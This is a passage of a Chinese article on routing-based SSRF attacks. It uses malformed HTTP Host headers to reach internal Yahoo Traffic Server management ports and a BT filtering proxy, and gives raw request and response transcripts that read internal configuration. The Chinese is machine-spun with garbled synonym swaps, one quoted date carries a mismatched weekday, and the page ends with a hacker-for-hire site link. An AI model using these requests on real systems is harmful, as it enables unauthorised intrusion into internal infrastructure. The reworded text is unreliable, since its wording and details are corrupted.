为了增强用户体会度，现代Web网站架构中都包含了各式各样的“躲藏体系”，这些体系不只能够给用户供给各种额定的服务，并且还能够协助管理员提取网站各方面的剖析数据。可是，这些躲藏体系相同也是近些年里常常被人们疏忽的隐形攻击面。

在本系列文章的上集，咱们对现代Web运用架构中的躲藏体系以及躲藏服务进行了简略描述，并且介绍了本系列文章中所要运用的东西以及技能。接下来，咱们将用实践的比如来给咱们进行具体的介绍。
三、恳求误传
1.无效主机
触发一次回调最简略的办法便是发送一个过错的HTTP Host头：
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
尽管这项技能咱们许多年前就现已知道了，可是这种技能实在的才能却被人们大大轻视了-我用这项技能成功侵略了二十七台美国国防部、我的互联网服务供给商、以及某哥伦比亚ISP的服务器。为了让咱们更清楚地了解这种缝隙的严峻程度，咱们先看看下面这台yahoo的内部服务器（存在缝隙，域名为http://ats-vm.lorax.bf1.yahoo.com/）。
乍看之下，咱们形似看不出服务器运行了哪些软件：
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2019 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
可是在不到一分钟之后，我不只弄清楚了服务器运行了哪些软件，并且我还知道怎样去跟它进行通讯，这一切多亏了‘HELP’指令：
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2019 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
  Traffic Server Overseer Port
  commands:
    get
    set  = ""
    help
    exit
  example:
    Ok
    get proxy.node.cache.contents.bytes_free
    proxy.node.cache.contents.bytes_free = "56616048"
    Ok
  Variable lists are conf/yts/stats records, separated by commas
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
服务器端所回来的每一行“Unknown Command”都会将恳求中的每一行信息解析成独自的指令，由于它运用了一种换行符停止协议，所以咱们无法通过传统的SSRF来运用这个缝隙。不过走运的是，根据路由的SSRF灵活性更高，所以我能够选用GET恳求来发送包含了恣意指令的POST-style主体：
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34
GET proxy.config.alarm_email
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2019 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = nobody@yahoo-inc.com
在‘SET’指令的协助下，我能够随意修正yahoo负载均衡池中的装备，包含启用SOCKS署理并提高我IP地址的权限（可向他们的缓存池中推送数据）。我发现这个安全问题之后便马上将其上报给了yahoo，我的尽力也让我收成了一万五千美刀的缝隙奖金。就在几周之后，我又用相同的办法发现了另一台包含相同缝隙的服务器，然后又拿到了额定的五千美刀奖金...
2.剖析英国电信（ *** ）
在测试了‘无效主机’这项技能之后，我发现之前给彻底不相关的公司所发送的Payload居然得到的是一堆有限IP池所回来的Pingback，其间还包含cloud.mail.ru。我一开始假定，这些公司必定运用的是相同的云端Web运用防火墙解决方案，而我就能够想办法将我所发送的恳求传到它们的内部管理员接口了。但现实并非如此，这个IP池的反向DNS解析到的地址是bn-proxyXX.ealing.ukcore.bt.net，而这个地址归于英国电信集团，也便是我公司的互联网服务供给商。所以我计划运用Burp Repeater来进行深入剖析，你能够从下图中看到，呼应信息的推迟为50ms，这个速度快得有些可疑了，由于这个恳求-呼应信息需要从英国发送到俄罗斯，然后再通过爱尔兰服务商的数据中心终究从俄罗斯回到英国。TCP盯梢路由（端口80）向咱们揭露了本相：

当我测验与cloud.mail.ru树立TCP链接时，链接被我的ISP中断了（我的流量是通过TCP端口443（HTTPS）发送的，并且音讯没有被篡改）。这也就意味着，担任篡改流量的实体并没有mail.ru的TLS证书，因而音讯的阻拦并没有得到mail.ru的答应。这样一来，我就能够在办公室或家里照着做，并且我还能够通过这种办法侵略GHCQ的体系，但问题又绕回来了-这些体系到底是干嘛的？
为了弄清楚这些体系的实在用处，我运用Masscan来ping了整个IPv4地址空间 （TCP端口80，TLL=10）。过滤掉了缓存和自保管网站之后，我得到了一套完好的方针IP地址列表，而这些IP地址背面的体系主要是用来阻挠其他用户拜访受维护内容的。拜访黑名单列表中的IP地址后，恳求会被重定向到一个署理池中，这样它们就能够检查恳求所运用的HTTP host头了：
GET / HTTP/1.1
Host: www.icefilms.info
HTTP/1.1 200 OK
...
Access to the websites listed on this page has been blocked pursuant to orders of the high court.
可是，咱们能够在不修正host头的情况下绕过这种屏蔽机制，不过在本系列文章中咱们就不做深入探讨了。
这种设置会导致以下几种成果。多亏了虚拟主机的存在，咱们能够将相似Google站点这样的云主机添加到黑名单中，意味着Google用户以及英国电信用户发送给它们的悉数流量都会通过署理服务器。从服务器（黑名单中）的视点来看，一切的英国电信用户同享一个相同的IP地址池，这会导致攻击者将英国电信的署理IP参加黑名单，然后无法正常拜访其他站点，并影响一切的英国电信用户。除此之外，我还运用了之前说到的管理员拜访缝隙侵略了署理服务器的管理员面板，所以我就能够对署理服务器进行重新装备并向数百万英国电信用户的 *** 流量中注入恣意内容了。

[1] [2]  黑客接单网